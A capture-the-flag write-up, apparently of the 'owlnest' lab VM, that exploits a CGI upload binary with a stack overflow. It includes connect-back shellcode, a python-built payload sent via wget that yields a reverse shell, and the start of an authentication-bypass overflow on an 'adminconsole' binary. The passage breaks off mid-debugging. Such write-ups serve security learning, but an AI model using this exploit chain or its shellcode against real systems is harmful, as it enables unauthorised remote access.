"LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;3"..., "XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0", "GLADE_MODULE_PATH=:", "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0", "SSH_AUTH_SOCK=/tmp/ssh-4kRqpYRY1Skg/agent.1447", "SESSION_MANAGER=local/test-VirtualBox:@/tmp/.ICE-unix/1434,unix/test-VirtualBox:/tmp/.ICE-unix/1434", "DEFAULTS_PATH=/usr/share/gconf/xfce.default.path", "XDG_CONFIG_DIRS=/etc/xdg/xdg-xfce:/usr/share/upstart/xdg:/etc/xdg:/etc/xdg", "PATH=/home/test/.rbenv/shims:/home/test/.rbenv/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games", "DESKTOP_SESSION=xfce", "QT_IM_MODULE=ibus", "QT_QPA_PLATFORMTHEME=appmenu-qt5", "JOB=dbus", "XDG_SESSION_TYPE=x11", "PWD=/home/test/owlnest", "XMODIFIERS=@im=ibus", "GNOME_KEYRING_PID=", "LANG=en_GB.UTF-8", "GDM_LANG=en_GB", "MANDATORY_PATH=/usr/share/gconf/xfce.mandatory.path", "NODE_PATH=/usr/lib/nodejs:/usr/lib/node_modules:/usr/share/javascript", "IM_CONFIG_PHASE=1", "RBENV_SHELL=bash", "JAVA_TOOL_OPTIONS=-javaagent:/usr/share/java/jayatanaag.jar ", "GDMSESSION=xfce", "SESSIONTYPE=", "HOME=/home/test", "XDG_SEAT=seat0", "SHLVL=1", "LANGUAGE=en_GB:en", "UPSTART_INSTANCE=", "UPSTART_EVENTS=started xsession", "XDG_SESSION_DESKTOP=xfce", "LOGNAME=test", "QT4_IM_MODULE=xim", "XDG_DATA_DIRS=/usr/share/xfce:/usr/share/xfce4:/usr/local/share/:/usr/share/:/usr/share", "DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-9RmGepMuU7", "LESSOPEN=| /usr/bin/lesspipe %s", "INSTANCE=", "UPSTART_JOB=startxfce4", "XDG_RUNTIME_DIR=/run/user/1000", "DISPLAY=:0.0", "GLADE_CATALOG_PATH=:", "XDG_CURRENT_DESKTOP=XFCE", "GTK_IM_MODULE=ibus", "LESSCLOSE=/usr/bin/lesspipe %s %s", "XAUTHORITY=/home/test/.Xauthority", "_=/usr/bin/strace"]) = 0
[ Process PID=18318 runs in 32 bit mode. ]
uname({sysname="Linux", nodename="test-VirtualBox", release="3.19.0-28-generic", version="#30-Ubuntu SMP Mon Aug 31 15:52:51 UTC 2015", machine="x86_64", domainname="(none)"}) = 0
brk(0)                                  = 0x83c6000
brk(0x83c6cd0)                          = 0x83c6cd0
set_thread_area(0xffe63d90)             = 0
brk(0x83e7cd0)                          = 0x83e7cd0
brk(0x83e8000)                          = 0x83e8000
fstat64(1</dev/pts/11>, {st_dev=makedev(0, 13), st_ino=14, st_mode=S_IFCHR|0620, st_nlink=1, st_uid=1000, st_gid=5, st_blksize=1024, st_blocks=0, st_rdev=makedev(136, 11), st_atime=2015/10/28-16:19:57, st_mtime=2015/10/28-16:19:57, st_ctime=2015/10/28-13:34:18}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7753000
write(1</dev/pts/11>, "Content-type: text/plain\r\n", 26Content-type: text/plain
) = 26
write(1</dev/pts/11>, "\r\n", 2
)        = 2
open("uploadfield", O_RDONLY)           = 3
fstat64(3</home/test/owlnest/uploadfield>, {st_dev=makedev(8, 1), st_ino=524366, st_mode=S_IFREG|0664, st_nlink=1, st_uid=1000, st_gid=1000, st_blksize=4096, st_blocks=8, st_size=2, st_atime=2015/10/28-16:20:00, st_mtime=2015/10/28-16:20:00, st_ctime=2015/10/28-16:20:00}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7752000
fstat64(3</home/test/owlnest/uploadfield>, {st_dev=makedev(8, 1), st_ino=524366, st_mode=S_IFREG|0664, st_nlink=1, st_uid=1000, st_gid=1000, st_blksize=4096, st_blocks=8, st_size=2, st_atime=2015/10/28-16:20:00, st_mtime=2015/10/28-16:20:00, st_ctime=2015/10/28-16:20:00}) = 0
_llseek(3</home/test/owlnest/uploadfield>, 0, [0], SEEK_SET) = 0
read(3</home/test/owlnest/uploadfield>, "1\n", 2) = 2
_llseek(3</home/test/owlnest/uploadfield>, 2, [2], SEEK_SET) = 0
close(3</home/test/owlnest/uploadfield>) = 0
munmap(0xf7752000, 4096)                = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)

Riiiiight.. I open up the binary in GDB and step through what's happening. From what I can see, it's adding four bytes to EAX. Before this is executed, EAX contains the pointer to the string passed through in the 'uploadfield' parameter. Afterwards, it appears to point to an empty word in memory.

I go digging for the source of libccgi. After some reading, it looks like variables are stored in a data type named 'CGI_varlist'. This datatype is a simple linked list. After some further reading, I find that if a variable name is provided that already has been instantiated, the second value is added to the pre-existing linked list, as a snippet from the function 'CGI_add_var' demonstrates.

/*
 * find the list entry or else create a new one.  Add the
 * new value.  We use "tail" pointers to keep the lists
 * in the same order as the input.
 */

if ((v2 = findvar(v, varname)) == 0) {
    v2 = (CGI_varlist *) mymalloc(sizeof(*v2) + strlen(varname));
    strcpy((char *) v2->varname, varname);
    v2->value = val;
    v2->numvalue = 1;
    v2->next = v2->iter = v2->tail = 0;
    v2->vector = 0;
    if (v == 0) {
        v = v2;
    }
    else {
        v->tail->next = v2;
    }
    v->tail = v2;
}
else {
    v2->valtail->next = val;
    v2->numvalue++;
}

After discovering this, I provide the 'uploadfield' parameter twice, then a second pointer will get set at EAX+4. This pointer points to our second 'uploadfield' parameter, and appears to be used to specify the output filename in the '/var/www/images' directory.

Following execution through, we find our file 'uploadfield' is now being saved to the file '/var/www/images/uploadfield2'. This is thanks to the second parameter named 'uploadfield' that we set in our QUERY_STRING, to the value of 'uploadfield2'. After the file is written, it has a CHMOD of 600 set to it. If this CGI binary is being executed as a user other than the one the site is running as, then this would explain why we're getting a 403 error when attempting to view our uploaded files in the browser.

After the files permissions are changed, we jump to a method named 'validateEmail'.

Dump of assembler code for function validateEmail:
   0x08048254 <+0>:    push   ebp
   0x08048255 <+1>:    mov    ebp,esp
   0x08048257 <+3>:    sub    esp,0x128
   0x0804825d <+9>:    mov    eax,DWORD PTR [ebp+0x8]
   0x08048260 <+12>:    mov    DWORD PTR [esp],eax
   0x08048263 <+15>:    call   0x8059080 <strlen>
   0x08048268 <+20>:    add    eax,0x1
   0x0804826b <+23>:    mov    DWORD PTR [esp],eax
   0x0804826e <+26>:    call   0x80575c0 <malloc>
   0x08048273 <+31>:    mov    DWORD PTR [ebp-0xc],eax
   0x08048276 <+34>:    mov    eax,DWORD PTR [ebp+0x8]
   0x08048279 <+37>:    mov    DWORD PTR [esp+0x4],eax
   0x0804827d <+41>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048280 <+44>:    mov    DWORD PTR [esp],eax
   0x08048283 <+47>:    call   0x8059050 <strcpy>
   0x08048288 <+52>:    mov    DWORD PTR [esp+0x4],0x80ae908
   0x08048290 <+60>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048293 <+63>:    mov    DWORD PTR [esp],eax
   0x08048296 <+66>:    call   0x8059c40 <strtok>
   0x0804829b <+71>:    mov    DWORD PTR [ebp-0x10],eax
   0x0804829e <+74>:    mov    DWORD PTR [esp+0x4],0x80ae908
   0x080482a6 <+82>:    mov    DWORD PTR [esp],0x0
   0x080482ad <+89>:    call   0x8059c40 <strtok>
   0x080482b2 <+94>:    mov    DWORD PTR [ebp-0x10],eax
   0x080482b5 <+97>:    cmp    DWORD PTR [ebp-0x10],0x0
   0x080482b9 <+101>:    je     0x80482d0 <validateEmail+124>
   0x080482bb <+103>:    mov    eax,DWORD PTR [ebp-0x10]
   0x080482be <+106>:    mov    DWORD PTR [esp+0x4],eax
   0x080482c2 <+110>:    lea    eax,[ebp-0x110]
   0x080482c8 <+116>:    mov    DWORD PTR [esp],eax
   0x080482cb <+119>:    call   0x8059050 <strcpy>
   0x080482d0 <+124>:    mov    eax,0x0
   0x080482d5 <+129>:    leave  
   0x080482d6 <+130>:    ret    
End of assembler dump.

Up until now, I've not seen the opportunity for any exploitation. At the end of this function, we update ESP to the value of EBP minus 0x110 (272). If we provide an email address with a long enough domain, we should be able to overflow this, and as such overflow EIP and get up to all kinds of antics.

I create a pattern in GDB, and go hunting.

gdb-peda$ pattern_create 500
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfA'
gdb-peda$ set env QUERY_STRING name=name&description=description&uploadfield=uploadfield2&uploadfield=uploadfield3&email=email@AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfA
gdb-peda$ run
Starting program: /home/test/owlnest/evidence-6.bin
Content-type: text/plain


Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0x0
EDX: 0x1c9
ESI: 0xffffccc0 ("qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfA")
EDI: 0xef954ad8
EBP: 0x4d257a41 ('Az%M')
ESP: 0xffffcc90 --> 0x414e258a
EIP: 0x41692541 ('A%iA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41692541
[------------------------------------stack-------------------------------------]
0000| 0xffffcc90 --> 0x414e258a
0004| 0xffffcc94 --> 0x9a416a25
0008| 0xffffcc98 ("%OA%kA%PA%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfA")
0012| 0xffffcc9c ("kA%PA%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfA")
0016| 0xffffcca0 ("A%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfA")
0020| 0xffffcca4 ("%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfA")
0024| 0xffffcca8 ("mA%RA%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfA")
0028| 0xffffccac ("A%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41692541 in ?? ()
gdb-peda$ pattern_offset 0x41692541
1097409857 found at offset: 316

Awesome - we have a position in the email address domain with which we can overwrite EIP.

Time to exploit this binary.

JMP ESP

After playing with the idea of implementing a ROP chain, I decided to do a quick search, to see if we could simply jump to ESP, where our stack code will be waiting.

gdb-peda$ jmpcall esp
0x80b73e0 : call esp
0x80c75ab : jmp esp

Awesome - that was easy. We're going to use the 'jmp esp' instruction at 0x80c75ab to cause execution to jump to the ESP register, where our stack code will be waiting to be executed.

First, I generate some shellcode in GDB. As this will be a remote exploit, I build a connect-back shellcode.

gdb-peda$ shellcode generate x86/linux connect 9999 192.168.57.102
# x86/linux/connect: 70 bytes
# port=9999, host=192.168.57.102
shellcode = (
    "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
    "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\x39\x66\x66\x68"
    "\x27\x0f\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
    "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
    "\x89\xe1\xb0\x0b\xcd\x80"
)

To test this, I set the QUERY_STRING environment variable in a console

export QUERY_STRING=$(python -c 'print "name=name&description=description&uploadfield=uploadfield&uploadfield=uploadfield&email=A@" + ("A" * 316) + "\xab\x75\x0c\x08" + "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\x39\x66\x66\x68\x27\x0f\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"')

In another tab, I listen on port 9999 with netcat.

nc -l 0.0.0.0 9999

And then execute the binary.

./evidence-6.bin
Content-type: text/plain

Segmentation fault (core dumped)

I got a core dump, but no connect back. After inspecting the core dump, it looks like our EIP offset is slightly off.

gdb -q evidence-6.bin core
Reading symbols from evidence-6.bin...(no debugging symbols found)...done.
[New LWP 19661]
Core was generated by `./evidence-6.bin'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x41414141 in ?? ()
gdb-peda$ x/20x $esp
0xff9230d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xff9230e0:    0x41414141    0x41414141    0x41414141    0x41414141
0xff9230f0:    0x41414141    0x080c76ab    0x4353db31    0x6a026a53
0xff923100:    0xe1895866    0x599380cd    0x80cd3fb0    0x5bf97949
0xff923110:    0xa8c0685a    0x68666639    0x66430f27    0xb0e18953

I adjust the padding by 40 bytes, and try again.

export QUERY_STRING=$(python -c 'print "name=name&description=description&uploadfield=uploadfield&uploadfield=uploadfield&email=A@" + ("A" * 276) + "\xab\x75\x0c\x08" + "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\x39\x66\x66\x68\x27\x0f\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"')

After trying this again, we're landing a few bytes into our shell code - I'm guessing due to stack frame teardown, so I add a small NOP sled to the payload

export QUERY_STRING=$(python -c 'print "name=name&description=description&uploadfield=uploadfield&uploadfield=uploadfield&email=A@" + ("A" * 276) + "\xab\x75\x0c\x08" + ("\x90" * 16) + "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\x39\x66\x66\x68\x27\x0f\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"')

We're rewarded with a connect back to our netcat session.

As we need an pre-existing file to execute this payload, I choose a file that we've previously uploaded as the first 'uploadfield' parameter. I then execute ourpayload against the target machine using wget.

export QUERY_STRING=$(python -c 'print "name=name&description=description&uploadfield=/var/www/images/file&uploadfield=uploadfield&email=A@" + ("A" * 276) + "\xab\x75\x0c\x08" + ("\x90" * 16) + "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\x39\x66\x66\x68\x27\x0f\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"')
wget "http://192.168.57.103/application/upload?$QUERY_STRING"

Again, we get our shell!

id
uid=1000(rmp) gid=1000(rmp) groups=1000(rmp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
ls -alh
total 612K
drwxr-xr-x  2 rmp      rmp      4.0K Aug 19  2014 .
drwxr-xr-x 12 www-data www-data 4.0K Aug 31  2014 ..
-rwxr-xr-x  1 rmp      rmp      601K Aug 19  2014 upload

Next steps

In the 'rmp' users home directory exists a binary, named 'adminconsole'. I guess that this is the binary behind the console on port 31337. I copy it into the directory '/var/www/images' (which is owned by rmp), and chmod it to 777 so that we can download it to analyse further.

ls -alh /var/www
total 80K
drwxr-xr-x 12 www-data www-data 4.0K Aug 31  2014 .
drwxr-xr-x 12 root     root     4.0K Aug 18  2014 ..
drwxr-xr-x  2 rmp      rmp      4.0K Aug 19  2014 application
drwxr-xr-x  2 www-data www-data 4.0K Aug  7  2014 css
-rw-r--r--  1 www-data www-data 1.4K Aug 18  2014 error.php
drwxr-xr-x  2 www-data www-data 4.0K Aug  8  2014 errors
drwxr-xr-x  2 www-data www-data 4.0K Aug  7  2014 fonts
drwxr-xr-x  2 www-data www-data 4.0K Aug 18  2014 forms
-rw-r--r--  1 www-data www-data 3.3K Aug 18  2014 gallery.php
drwxr-xr-x  2 www-data www-data 4.0K Aug  8  2014 graphics
drwxr-xr-x  2 rmp      rmp      4.0K Oct 29 07:53 images
drwxr-xr-x  2 www-data www-data 4.0K Aug  8  2014 includes
-rw-r--r--  1 www-data www-data 1.9K Aug 18  2014 index.php
drwxr-xr-x  2 www-data www-data 4.0K Aug  8  2014 js
-rw-r--r--  1 www-data www-data 1.9K Aug 18  2014 login.php
-rw-r--r--  1 www-data www-data 1.3K Aug  8  2014 login_form.php
drwxr-xr-x  3 www-data www-data 4.0K Aug 10  2014 pictures
-rw-------  1 www-data www-data 2.2K Aug  8  2014 register.php
-rw-r--r--  1 www-data www-data 2.4K Aug  8  2014 register_form.php
-rw-r--r--  1 www-data www-data  398 Aug 31  2014 uploadform.php
ls -alh /home/rmp
total 612K
drwxr-xr-x 2 rmp  rmp  4.0K Aug 12  2014 .
drwxr-xr-x 3 root root 4.0K Aug  7  2014 ..
-rw------- 1 rmp  rmp     1 Aug 12  2014 .bash_history
-rw-r--r-- 1 rmp  rmp   220 Aug  7  2014 .bash_logout
-rw-r--r-- 1 rmp  rmp  3.4K Aug  7  2014 .bashrc
-rw-r--r-- 1 rmp  rmp   675 Aug  7  2014 .profile
-rwx------ 1 rmp  rmp  586K Aug 11  2014 adminconsole
cp /home/rmp/adminconsole /var/www/images
chmod 777 /var/www/images/adminconsole

Admin console

wget http://192.168.57.102/images/adminconsole
Connecting to 192.168.57.103:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 599275 (585K)
Saving to: ‘adminconsole’

adminconsole                            100%[===============================================================================>] 585.23K  --.-KB/s   in 0.006s

2015-10-29 11:57:29 (94.7 MB/s) - ‘adminconsole’ saved [599275/599275]
file adminconsole
adminconsole: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=76f01d048523355a485156a670617b60237a6440, not stripped

Great, another binary to play with.

After opening the binary in Hopper, I set about exploring the various functions. First of all, the main function.

int main(int arg0, int arg1) {
    esp = (esp & 0xfffffff0) - 0xa0;
    printBanner();
    do {
            _IO_printf("Ready: ", stack[2047]);
            fflush(_IO_2_1_stdout_);
            eax = _IO_fgets(esp + 0x18, 0x80, _IO_2_1_stdin_);
            if (eax == 0x0) {
                break;
            }
            if (strncmp(esp + 0x18, 0x80abbf2, 0x4) == 0x0) {
                    printHelp();
            }
            if (strncmp(esp + 0x18, "privs ", 0x6) == 0x0) {
                    *privileges = strdup(esp + 0x1e);
            }
            if (((strncmp(esp + 0x18, "password ", 0x9) == 0x0) && (strlen(esp + 0x21) <= 0x1e)) && (*auth != 0x0)) {
                    strncpy(0x80cc2e0, esp + 0x21, 0x1f);
                    *pwd = loadPasswordFromFile(*auth + 0x20);
                    eax = *pwd;
                    strncpy(0x80cc2a0, eax, 0x1f);
            }
            if (strncmp(esp + 0x18, "username ", 0x9) == 0x0) {
                    *auth = __libc_malloc(0x4);
                    eax = *auth;
                    memset(eax, 0x0, 0x4);
                    eax = *auth;
                    strncpy(eax + 0x20, "/root/password.txt", 0x1f);
            }
            stack[2047] = "login";
            if (strncmp(esp + 0x18, stack[2047], 0x4) != 0x0) {
                continue;
            }
            if (((*(int8_t *)0x80cc2e0 & 0xff) != 0x0) && ((*(int8_t *)0x80cc2a0 & 0xff) != 0x0)) {
                    strtok(0x80cc2a0, 0x80abad4);
                    strtok(0x80cc2e0, 0x80abad4);
                    if (strncmp(*(esp + 0x9c), *(esp + 0x98), 0x20) == 0x0) {
                            stack[2047] = 0x1;
                            fwrite("Access Granted!\r\nDropping into /bin/sh\r\n", stack[2047], 0x28, _IO_2_1_stdout_);
                            fflush(_IO_2_1_stdout_);
                            __libc_system("/bin/sh");
                    }
                    else {
                            stack[2047] = 0x1;
                            fwrite("Access Denied!\r\n", stack[2047], 0x10, _IO_2_1_stdout_);
                    }
            }
            else {
                    stack[2047] = 0x1;
                    fwrite("Username or Password not set\r\n", stack[2047], 0x1e, _IO_2_1_stdout_);
            }
    } while (true);
    return eax;
}

So, it looks to be doing a loop. At the beginning it reads in 0x80 (128) characters. It then proceeds to check the input against various commands. In each of these commands, it will set various variables in memory to a portion of the input. If the user specifies their username, a string of '/root/password.txt' is set at EAX+0x20. If a user issues a 'password' command, the password is loaded from the file, whose name is stored at EAX+0x20. If the user then issues a 'login' command, this username and password is checked against the username and password in the file '/root/password'.

There is another command - namely 'privs'. This will simply duplicate the input string into another variable. I reckon we can overflow this variable, overwriting the path to the file that has previously been set to '/root/password.txt' to a file over which we have control, thus allowing us to bypass the authentication entirely.

Loading GDB, I test this assumption.

Prior to the string '/root/password.txt' being copied to EAX+0x20, I dump the address.

[----------------------------------registers-----------------------------------]
EAX: 0x80ce6c8 --> 0x0
EBX: 0x0
ECX: 0x0
EDX: 0x80ce6a8 --> 0x0
ESI: 0x8048ee0 (<__libc_csu_fini>:    push   ebp)
EDI: 0x8cb11f79
EBP: 0xffffcfd8 --> 0xffffd048 --> 0x0
ESP: 0xffffcf30 --> 0x80ce6a8 --> 0x0
EIP: 0x8048760 (<main+415>:    mov    DWORD PTR [esp],eax)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804874d <main+396>:    add    eax,0x20
   0x8048750 <main+399>:    mov    DWORD PTR [esp+0x8],0x1f
   0x8048758 <main+407>:    mov    DWORD PTR [esp+0x4],0x80abc12
=> 0x8048760 <main+415>:    mov    DWORD PTR [esp],eax
   0x8048763 <main+418>:    call   0x8056e30 <strncpy>
   0x8048768 <main+423>:    mov    DWORD PTR [esp+0x8],0x4
   0x8048770 <main+431>:    mov    DWORD PTR [esp+0x4],0x80abc26
   0x8048778 <main+439>:    lea    eax,[esp+0x18]
[------------------------------------stack-------------------------------------]
0000| 0xffffcf30 --> 0x80ce6a8 --> 0x0
0004| 0xffffcf34 --> 0x80abc12 ("/root/password.txt")
0008| 0xffffcf38 --> 0x1f
0012| 0xffffcf3c --> 0x80aa1e0 (<__register_frame_info_bases+16>:    add    ebx,0x1fe78)
0016| 0xffffcf40 --> 0x80cdcd8 --> 0x80cdcf0 --> 0x80cdd18 --> 0x80cdd40 --> 0x80cdd68 --> 0x0
0020| 0xffffcf44 --> 0xffffd074 --> 0xffffd25e ("/home/test/owlnest/adminconsole")
0024| 0xffffcf48 ("username root\n")
0028| 0xffffcf4c ("name root\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048760 in main ()
gdb-peda$ print $eax+0x20
$1 = 0x80ce6e8

Next, I generate a pattern in GDB with the length of 128 - 8, a.k.a the length of the buffer, minus the length of the string 'privs ', minus 1 for the newline, minus 1 for the terminating character.

gdb-peda$ pattern_create 120
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'

Then I proceed to use this input when using the 'privs' command. Next, I issue the 'password' command with the password of 'test' (not important), and break just before the 'loadPasswordFromFile' function is called. Looking at the stack, I take the first four bytes and use them to find the required offset to overwrite the path that the password is loaded from.

[----------------------------------registers-----------------------------------]
EAX: 0x80ce758 ("AACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAj")
EBX: 0x0
ECX: 0x1f
EDX: 0x80cc2e5 --> 0x0
ESI: 0x8048ee0 (<__libc_csu_fini>:    push   ebp)
EDI: 0x4a4527ce
EBP: 0xffffcfd8 --> 0xffffd048 --> 0x0
ESP: 0xffffcf30 --> 0x80ce758 ("AACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAj")
EIP: 0x80486d3 (<main+274>:    call   0x80484be <loadPasswordFromFile>)
